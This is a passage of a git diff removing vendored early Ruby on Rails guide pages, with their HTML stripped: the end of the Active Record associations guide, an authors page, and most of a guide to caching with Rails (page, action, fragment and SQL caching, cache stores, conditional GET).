@open_orders = @customer.orders.find(:all, :conditions => "open = 1")
-
collection.exist?(...)
-

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

-
collection.build(attributes = {}, ...)
-

The collection.build method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

-
-
-
@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"})
-
collection.create(attributes = {})
-

The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object will be saved (assuming that it passes any validations).

-
-
-
@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"})
-

4.3.2. Options for has_many

-

In many situations, you can use the default behavior for has_many without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_many association. For example, an association with several options might look like this:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :dependent => :delete_all, :validate => :false
-end
-

The has_many association supports these options:

-
    -
  • -

    -:as -

    -
    • -
  • -

    -:class_name -

    -
    • -
  • -

    -:conditions -

    -
    • -
  • -

    -:counter_sql -

    -
    • -
  • -

    -:dependent -

    -
    • -
  • -

    -:extend -

    -
    • -
  • -

    -:finder_sql -

    -
    • -
  • -

    -:foreign_key -

    -
    • -
  • -

    -:group -

    -
    • -
  • -

    -:include -

    -
    • -
  • -

    -:limit -

    -
    • -
  • -

    -:offset -

    -
    • -
  • -

    -:order -

    -
    • -
  • -

    -:primary_key -

    -
    • -
  • -

    -:readonly -

    -
    • -
  • -

    -:select -

    -
    • -
  • -

    -:source -

    -
    • -
  • -

    -:source_type -

    -
    • -
  • -

    -:through -

    -
    • -
  • -

    -:uniq -

    -
    • -
  • -

    -:validate -

    -
    • -
-
:as
-

Setting the :as option indicates that this is a polymorphic association, as discussed earlier in this guide.

-
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is Transaction, you’d set things up this way:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :class_name => "Transaction"
-end
-
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

-
-
-
class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1"
-end
-

You can also set conditions via a hash:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true }
-end
-

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @customer.confirmed_orders.create or @customer.confirmed_orders.build will create orders where the confirmed column has the value true.

-
:counter_sql
-

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

-
- - - -
-Note -If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT ... FROM clause of your :finder_sql statement.
-
-
:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the :dependent option to :delete_all, then deleting this object will delete the associated objects without calling their destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the associated objects to NULL.

-
- - - -
-Note -This option is ignored when you use the :through option on the association.
-
-
:extend
-

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

-
:finder_sql
-

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

-
:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :foreign_key => "cust_id"
-end
-
- - - -
-Tip -In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-
:group
-

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

-
-
-
class Customer < ActiveRecord::Base
-  has_many :line_items, :through => :orders, :group => "orders.id"
-end
-
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders
-end
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-

If you frequently retrieve line items directly from customers (@customer.orders.line_items), then you can make your code somewhat more efficient by including line items in the association from customers to orders:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :include => :line_items
-end
-class Order < ActiveRecord::Base
-  belongs_to :customer
-  has_many :line_items
-end
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-end
-
:limit
-

The :limit option lets you restrict the total number of objects that will be fetched through an association.

-
-
-
class Customer < ActiveRecord::Base
-  has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
-end
-
:offset
-

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset => 11, it will skip the first 11 records.

-
:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :order => "date_confirmed DESC"
-end
-
:primary_key
-

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

-
:readonly
-

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

-
:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

-
- - - -
-Warning -If you specify your own :select, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-
-
:source
-

The :source option specifies the source association name for a has_many :through association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.

-
:source_type
-

The :source_type option specifies the source association type for a has_many :through association that proceeds through a polymorphic association.

-
:through
-

The :through option specifies a join model through which to perform the query. has_many :through associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.

-
:uniq
-

Specify the :uniq => true option to remove duplicates from the collection. This is most useful in conjunction with the :through option.

-
:validate
-

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

-

4.3.3. When are Objects Saved?

-

When you assign an object to a has_many association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.

-

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

-

If you want to assign an object to a has_many association without saving the object, use the collection.build method.

-

4.4. The has_and_belongs_to_many Association

-

The has_and_belongs_to_many association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.

-

4.4.1. Methods Added

-

When you declare a has_and_belongs_to_many association, the declaring class automatically gains 13 methods related to the association:

-
    -
  • -

    -collection(force_reload = false) -

    -
    • -
  • -

    -collection<<(object, ...) -

    -
    • -
  • -

    -collection.delete(object, ...) -

    -
    • -
  • -

    -collection=objects -

    -
    • -
  • -

    -collection\_singular\_ids -

    -
    • -
  • -

    -collection\_singular\_ids=ids -

    -
    • -
  • -

    -collection.clear -

    -
    • -
  • -

    -collection.empty? -

    -
    • -
  • -

    -collection.size -

    -
    • -
  • -

    -collection.find(...) -

    -
    • -
  • -

    -collection.exist?(...) -

    -
    • -
  • -

    -collection.build(attributes = {}) -

    -
    • -
  • -

    -collection.create(attributes = {}) -

    -
    • -
-

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection\_singular is replaced with the singularized version of that symbol.. For example, given the declaration:

-
-
-
class Part < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies
-end
-

Each instance of the part model will have these methods:

-
-
-
assemblies(force_reload = false)
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies=objects
-assembly_ids
-assembly_ids=ids
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.exist?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-
Additional Column Methods
-

If the join table for a has_and_belongs_to_many association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.

-
- - - -
-Warning -The use of extra attributes on the join table in a has_and_belongs_to_many association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a has_many :through association instead of has_and_belongs_to_many.
-
-
collection(force_reload = false)
-

The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.

-
-
-
@assemblies = @part.assemblies
-
collection<<(object, ...)
-

The collection<< method adds one or more objects to the collection by creating records in the join table.

-
-
-
@part.assemblies << @assembly1
-
- - - -
-Note -This method is aliased as collection.concat and collection.push.
-
-
collection.delete(object, ...)
-

The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.

-
-
-
@part.assemblies.delete(@assembly1)
-
collection=objects
-

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.

-
collection\_singular\_ids
-

# Returns an array of the associated objects' ids

-

The collection\_singular\_ids method returns an array of the ids of the objects in the collection.

-
-
-
@assembly_ids = @part.assembly_ids
-
collection\_singular\_ids=ids
-

The collection\_singular\_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.

-
collection.clear
-

The collection.clear method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.

-
collection.empty?
-

The collection.empty? method returns true if the collection does not contain any associated objects.

-
-
-
<% if @part.assemblies.empty? %>
-  This part is not used in any assemblies
-<% end %>
-
collection.size
-

The collection.size method returns the number of objects in the collection.

-
-
-
@assembly_count = @part.assemblies.size
-
collection.find(...)
-

The collection.find method finds objects within the collection. It uses the same syntax and options as ActiveRecord::Base.find. It also adds the additional condition that the object must be in the collection.

-
-
-
@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
-
collection.exist?(...)
-

The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as ActiveRecord::Base.exists?.

-
collection.build(attributes = {})
-

The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will not yet be saved.

-
-
-
@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
-
collection.create(attributes = {})
-

The collection.create method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object will be saved (assuming that it passes any validations).

-
-
-
@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
-

4.4.2. Options for has_and_belongs_to_many

-

In many situations, you can use the default behavior for has_and_belongs_to_many without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a has_and_belongs_to_many association. For example, an association with several options might look like this:

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
-end
-

The has_and_belongs_to_many association supports these options:

-
    -
  • -

    -:association_foreign_key -

    -
    • -
  • -

    -:class_name -

    -
    • -
  • -

    -:conditions -

    -
    • -
  • -

    -:counter_sql -

    -
    • -
  • -

    -:delete_sql -

    -
    • -
  • -

    -:extend -

    -
    • -
  • -

    -:finder_sql -

    -
    • -
  • -

    -:foreign_key -

    -
    • -
  • -

    -:group -

    -
    • -
  • -

    -:include -

    -
    • -
  • -

    -:insert_sql -

    -
    • -
  • -

    -:join_table -

    -
    • -
  • -

    -:limit -

    -
    • -
  • -

    -:offset -

    -
    • -
  • -

    -:order -

    -
    • -
  • -

    -:readonly -

    -
    • -
  • -

    -:select -

    -
    • -
  • -

    -:uniq -

    -
    • -
  • -

    -:validate -

    -
    • -
-
:association_foreign_key
-

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix _id added. The :association_foreign_key option lets you set the name of the foreign key directly:

-
- - - -
-Tip -The :foreign_key and :association_foreign_key options are useful when setting up a many-to-many self-join. For example:
-
-
-
-
class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
-end
-
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is Gadget, you’d set things up this way:

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
-end
-
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
-end
-

You can also set conditions via a hash:

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
-end
-

If you use a hash-style :conditions option, then record creation via this association will be automatically scoped using the hash. In this case, using @parts.assemblies.create or @parts.assemblies.build will create orders where the factory column has the value "Seattle".

-
:counter_sql
-

Normally Rails automatically generates the proper SQL to count the association members. With the :counter_sql option, you can specify a complete SQL statement to count them yourself.

-
- - - -
-Note -If you specify :finder_sql but not :counter_sql, then the counter SQL will be generated by substituting SELECT COUNT(*) FROM for the SELECT ... FROM clause of your :finder_sql statement.
-
-
:delete_sql
-

Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the :delete_sql option, you can specify a complete SQL statement to delete them yourself.

-
:extend
-

The :extend option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.

-
:finder_sql
-

Normally Rails automatically generates the proper SQL to fetch the association members. With the :finder_sql option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.

-
:foreign_key
-

By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

-
-
-
class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User",
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
-end
-
:group
-

The :group option supplies an attribute name to group the result set by, using a GROUP BY clause in the finder SQL.

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :group => "factory"
-end
-
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.

-
:insert_sql
-

Normally Rails automatically generates the proper SQL to create links between the associated classes. With the :insert_sql option, you can specify a complete SQL statement to insert them yourself.

-
:join_table
-

If the default name of the join table, based on lexical ordering, is not what you want, you can use the :join_table option to override the default.

-
:limit
-

The :limit option lets you restrict the total number of objects that will be fetched through an association.

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
-end
-
:offset
-

The :offset option lets you specify the starting offset for fetching objects via an association. For example, if you set :offset => 11, it will skip the first 11 records.

-
:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause).

-
-
-
class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
-end
-
:readonly
-

If you set the :readonly option to true, then the associated objects will be read-only when retrieved via the association.

-
:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

-
:uniq
-

Specify the :uniq => true option to remove duplicates from the collection.

-
:validate
-

If you set the :validate option to false, then associated objects will not be validated whenever you save this object. By default, this is true: associated objects will be validated when this object is saved.

-

4.4.3. When are Objects Saved?

-

When you assign an object to a has_and_belongs_to_many association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.

-

If any of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_and_belongs_to_many association) is unsaved (that is, new_record? returns true) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.

-

If you want to assign an object to a has_and_belongs_to_many association without saving the object, use the collection.build method.

-

4.5. Association Callbacks

-

Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a :before_save callback to cause something to happen just before an object is saved.

-

Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:

-
    -
  • -

    -before_add -

    -
    • -
  • -

    -after_add -

    -
    • -
  • -

    -before_remove -

    -
    • -
  • -

    -after_remove -

    -
    • -
-

You define association callbacks by adding options to the association declaration. For example:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => :check_credit_limit
-
-  def check_credit_limit(order)
-    ...
-  end
-end
-

Rails passes the object being added or removed to the callback.

-

You can stack callbacks on a single event by passing them as an array:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
-
-  def check_credit_limit(order)
-    ...
-  end
-
-  def calculate_shipping_charges(order)
-    ...
-  end
-end
-

If a before_add callback throws an exception, the object does not get added to the collection. Similarly, if a before_remove callback throws an exception, the object does not get removed from the collection.

-

4.6. Association Extensions

-

You’re not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders do
-    def find_by_order_prefix(order_number)
-      find_by_region_id(order_number[0..2])
-    end
-  end
-end
-

If you have an extension that should be shared by many associations, you can use a named extension module. For example:

-
-
-
module FindRecentExtension
-  def find_recent
-    find(:all, :conditions => ["created_at > ?", 5.days.ago])
-  end
-end
-
-class Customer < ActiveRecord::Base
-  has_many :orders, :extend => FindRecentExtension
-end
-
-class Supplier < ActiveRecord::Base
-  has_many :deliveries, :extend => FindRecentExtension
-end
-

To include more than one extension module in a single association, specify an array of names:

-
-
-
class Customer < ActiveRecord::Base
-  has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
-end
-

Extensions can refer to the internals of the association proxy using these three accessors:

-
    -
  • -

    -proxy_owner returns the object that the association is a part of. -

    -
    • -
  • -

    -proxy_reflection returns the reflection object that describes the association. -

    -
    • -
  • -

    -proxy_target returns the associated object for belongs_to or has_one, or the collection of associated objects for has_many or has_and_belongs_to_many. -

    -
    • -
-
-

5. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -September 28, 2008: Corrected has_many :through diagram, added polymorphic diagram, some reorganization by Mike Gunderloy . First release version. -

    -
    • -
  • -

    -September 22, 2008: Added diagrams, misc. cleanup by Mike Gunderloy (not yet approved for publication) -

    -
    • -
  • -

    -September 14, 2008: initial version by Mike Gunderloy (not yet approved for publication) -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/authors.html b/vendor/rails/railties/doc/guides/html/authors.html deleted file mode 100644 index ab205c96..00000000 --- a/vendor/rails/railties/doc/guides/html/authors.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - About the Authors - - - - - - - - -
- -
-

About the Authors

-
-
-
-
-
Frederick Cheung
-

Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. -He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org.

-
-
-
-
Mike Gunderloy
-

Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current -work with Rails. His near-daily links and other blogging can be found at A Fresh Cup.

-
-
-
-
Emilio Tagua
-

Emilio Tagua — a.k.a. miloops — is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. -Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. -Can be found at gmail, twitter, freenode, everywhere as miloops.

-
-
-
-
Heiko Webers
-

Heiko Webers is the founder of bauland42, a German web application security consulting and development -company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development, -Heiko has rarely looked back.

-
-
-
-
Tore Darell
-

Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails -and unobtrusive JavaScript. His home on the internet is his blog Sneaky Abstractions.

-
-
-
-
Jeff Dean
-

Jeff Dean is a software engineer with Pivotal Labs.

-
-
-
-
Cássio Marques
-

Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at http://cassiomarques.wordpress.com, which is mainly written in portuguese, but will soon get a new section for posts with english translation.

-
-
-
-
Pratik Naik
-

Pratik Naik is an independent Ruby on Rails consultant and also a member of the Rails core team. He blogs semi-regularly at has_many :bugs, :through => :rails and has an active twitter account .

-
-
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/caching_with_rails.html b/vendor/rails/railties/doc/guides/html/caching_with_rails.html deleted file mode 100644 index 02cc981b..00000000 --- a/vendor/rails/railties/doc/guides/html/caching_with_rails.html +++ /dev/null @@ -1,480 +0,0 @@ - - - - - Caching with Rails: An overview - - - - - - - - -
- - - -
-

Caching with Rails: An overview

-
-
-

Everyone caches. This guide will teach you what you need to know about -avoiding that expensive round-trip to your database and returning what you -need to return to those hungry web clients in the shortest time possible.

-
-
-

1. Basic Caching

-
-

This is an introduction to the three types of caching techniques that Rails -provides by default without the use of any third party plugins.

-

To get started make sure config.action_controller.perform_caching is set -to true for your environment. This flag is normally set in the -corresponding config/environments/*.rb and caching is disabled by default -there for development and test, and enabled for production.

-
-
-
config.action_controller.perform_caching = true
-

1.1. Page Caching

-

Page caching is a Rails mechanism which allows the request for a generated -page to be fulfilled by the webserver, without ever having to go through the -Rails stack at all. Obviously, this is super-fast. Unfortunately, it can’t be -applied to every situation (such as pages that need authentication) and since -the webserver is literally just serving a file from the filesystem, cache -expiration is an issue that needs to be dealt with.

-

So, how do you enable this super-fast cache behavior? Simple, let’s say you -have a controller called ProductsController and a list action that lists all -the products

-
-
-
class ProductsController < ActionController
-
-  caches_page :index
-
-  def index; end
-
-end
-

The first time anyone requests products/index, Rails will generate a file -called index.html and the webserver will then look for that file before it -passes the next request for products/index to your Rails application.

-

By default, the page cache directory is set to Rails.public_path (which is -usually set to RAILS_ROOT + "/public") and this can be configured by -changing the configuration setting config.action_controller.page_cache_directory. -Changing the default from /public helps avoid naming conflicts, since you may -want to put other static html in /public, but changing this will require web -server reconfiguration to let the web server know where to serve the cached -files from.

-

The Page Caching mechanism will automatically add a .html exxtension to -requests for pages that do not have an extension to make it easy for the -webserver to find those pages and this can be configured by changing the -configuration setting config.action_controller.page_cache_extension.

-

In order to expire this page when a new product is added we could extend our -example controler like this:

-
-
-
class ProductsController < ActionController
-
-  caches_page :list
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-  end
-
-end
-

If you want a more complicated expiration scheme, you can use cache sweepers -to expire cached objects when things change. This is covered in the section on Sweepers.

-

1.2. Action Caching

-

One of the issues with Page Caching is that you cannot use it for pages that -require to restrict access somehow. This is where Action Caching comes in. -Action Caching works like Page Caching except for the fact that the incoming -web request does go from the webserver to the Rails stack and Action Pack so -that before filters can be run on it before the cache is served, so that -authentication and other restrictions can be used while still serving the -result of the output from a cached copy.

-

Clearing the cache works in the exact same way as with Page Caching.

-

Let’s say you only wanted authenticated users to edit or create a Product -object, but still cache those pages:

-
-
-
class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-

And you can also use :if (or :unless) to pass a Proc that specifies when the -action should be cached. Also, you can use :layout => false to cache without -layout so that dynamic information in the layout such as logged in user info -or the number of items in the cart can be left uncached. This feature is -available as of Rails 2.2.

-

[More: more examples? Walk-through of Action Caching from request to response? - Description of Rake tasks to clear cached files? Show example of - subdomain caching? Talk about :cache_path, :if and assing blocks/Procs - to expire_action?]

-

1.3. Fragment Caching

-

Life would be perfect if we could get away with caching the entire contents of -a page or action and serving it out to the world. Unfortunately, dynamic web -applications usually build pages with a variety of components not all of which -have the same caching characteristics. In order to address such a dynamically -created page where different parts of the page need to be cached and expired -differently Rails provides a mechanism called Fragment Caching.

-

Fragment Caching allows a fragment of view logic to be wrapped in a cache -block and served out of the cache store when the next request comes in.

-

As an example, if you wanted to show all the orders placed on your website -in real time and didn’t want to cache that part of the page, but did want -to cache the part of the page which lists all products available, you -could use this piece of code:

-
-
-
<% Order.find_recent.each do |o| %>
-  <%= o.buyer.name %> bought <% o.product.name %>
-<% end %>
-
-<% cache do %>
-  All available products:
-  <% Product.find(:all).each do |p| %>
-    <%= link_to p.name, product_url(p) %>
-  <% end %>
-<% end %>
-

The cache block in our example will bind to the action that called it and is -written out to the same place as the Action Cache, which means that if you -want to cache multiple fragments per action, you should provide an action_suffix to the cache call:

-
-
-
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
-  All available products:
-

and you can expire it using the expire_fragment method, like so:

-
-
-
expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products)
-

If you don’t want the cache block to bind to the action that called it, You can -also use globally keyed fragments by calling the cache method with a key, like -so:

-
-
-
<% cache(:key => ['all_available_products', @latest_product.created_at].join(':')) do %>
-  All available products:
-

This fragment is then available to all actions in the ProductsController using -the key and can be expired the same way:

-
-
-
expire_fragment(:key => ['all_available_products', @latest_product.created_at].join(':'))
-

1.4. Sweepers

-

Cache sweeping is a mechanism which allows you to get around having a ton of -expire_{page,action,fragment} calls in your code by moving all the work -required to expire cached content into a ActionController::Caching::Sweeper -class that is an Observer and looks for changes to an object via callbacks, -and when a change occurs it expires the caches associated with that object n -an around or after filter.

-

Continuing with our Product controller example, we could rewrite it with a -sweeper such as the following:

-
-
-
class StoreSweeper < ActionController::Caching::Sweeper
-  observe Product # This sweeper is going to keep an eye on the Product model
-
-  # If our sweeper detects that a Product was created call this
-  def after_create(product)
-          expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was updated call this
-  def after_update(product)
-          expire_cache_for(product)
-  end
-
-  # If our sweeper detects that a Product was deleted call this
-  def after_destroy(product)
-          expire_cache_for(product)
-  end
-
-  private
-  def expire_cache_for(record)
-    # Expire the list page now that we added a new product
-    expire_page(:controller => '#{record}', :action => 'list')
-
-    # Expire a fragment
-    expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
-  end
-end
-

Then we add it to our controller to tell it to call the sweeper when certain -actions are called. So, if we wanted to expire the cached content for the -list and edit actions when the create action was called, we could do the -following:

-
-
-
class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-

1.5. SQL Caching

-

Query caching is a Rails feature that caches the result set returned by each -query so that if Rails encounters the same query again for that request, it -will used the cached result set as opposed to running the query against the -database again.

-

For example:

-
-
-
class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list
-    # Run a find query
-    Product.find(:all)
-
-    ...
-
-    # Run the same query again
-    Product.find(:all)
-  end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
-

In the list action above, the result set returned by the first -Product.find(:all) will be cached and will be used to avoid querying the -database again the second time that finder is called.

-

Query caches are created at the start of an action and destroyed at the end of -that action and thus persist only for the duration of the action.

-

1.6. Cache stores

-

Rails provides different stores for the cached data for action and fragment -caches. Page caches are always stored on disk.

-

The cache stores provided include:

-

1) Memory store: Cached data is stored in the memory allocated to the Rails - process, which is fine for WEBrick and for FCGI (if you - don’t care that each FCGI process holds its own fragment - store). It’s not suitable for CGI as the process is thrown - away at the end of each request. It can potentially also - take up a lot of memory since each process keeps all the - caches in memory.

-
-
-
ActionController::Base.cache_store = :memory_store
-

2) File store: Cached data is stored on the disk, this is the default store - and the default path for this store is: /tmp/cache. Works - well for all types of environments and allows all processes - running from the same application directory to access the - cached content.

-
-
-
ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
-

3) DRb store: Cached data is stored in a separate shared DRb process that all - servers communicate with. This works for all environments and - only keeps one cache around for all processes, but requires - that you run and manage a separate DRb process.

-
-
-
ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
-

4) MemCached store: Works like DRbStore, but uses Danga’s MemCache instead. - Rails uses the bundled memcached-client gem by default.

-
-
-
ActionController::Base.cache_store = :mem_cache_store, "localhost"
-

5) Custom store: You can define your own cache store (new in Rails 2.1)

-
-
-
ActionController::Base.cache_store = MyOwnStore.new("parameter")
-

Note: config.cache_store can be used in place of -ActionController::Base.cache_store in your Rails::Initializer.run block in -environment.rb

-
-

2. Conditional GET support

-
-

Conditional GETs are a facility of the HTTP spec that provide a way for web -servers to tell browsers that the response to a GET request hasn’t changed -since the last request and can be safely pulled from the browser cache.

-

They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to -pass back and forth both a unique content identifier and the timestamp of when -the content was last changed. If the browser makes a request where the content -identifier (etag) or last modified since timestamp matches the server’s version -then the server only needs to send back an empty response with a not modified -status.

-

It is the server’s (i.e. our) responsibility to look for a last modified -timestamp and the if-none-match header and determine whether or not to send -back the full response. With conditional-get support in rails this is a pretty -easy task:

-
-
-
class ProductsController < ApplicationController
-
-  def show
-    @product = Product.find(params[:id])
-
-    # If the request is stale according to the given timestamp and etag value
-    # (i.e. it needs to be processed again) then execute this block
-    if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
-      respond_to do |wants|
-        # ... normal response processing
-      end
-    end
-
-    # If the request is fresh (i.e. it's not modified) then you don't need to do
-    # anything. The default render checks for this using the parameters
-    # used in the previous call to stale? and will automatically send a
-    # :not_modified.  So that's it, you're done.
-end
-

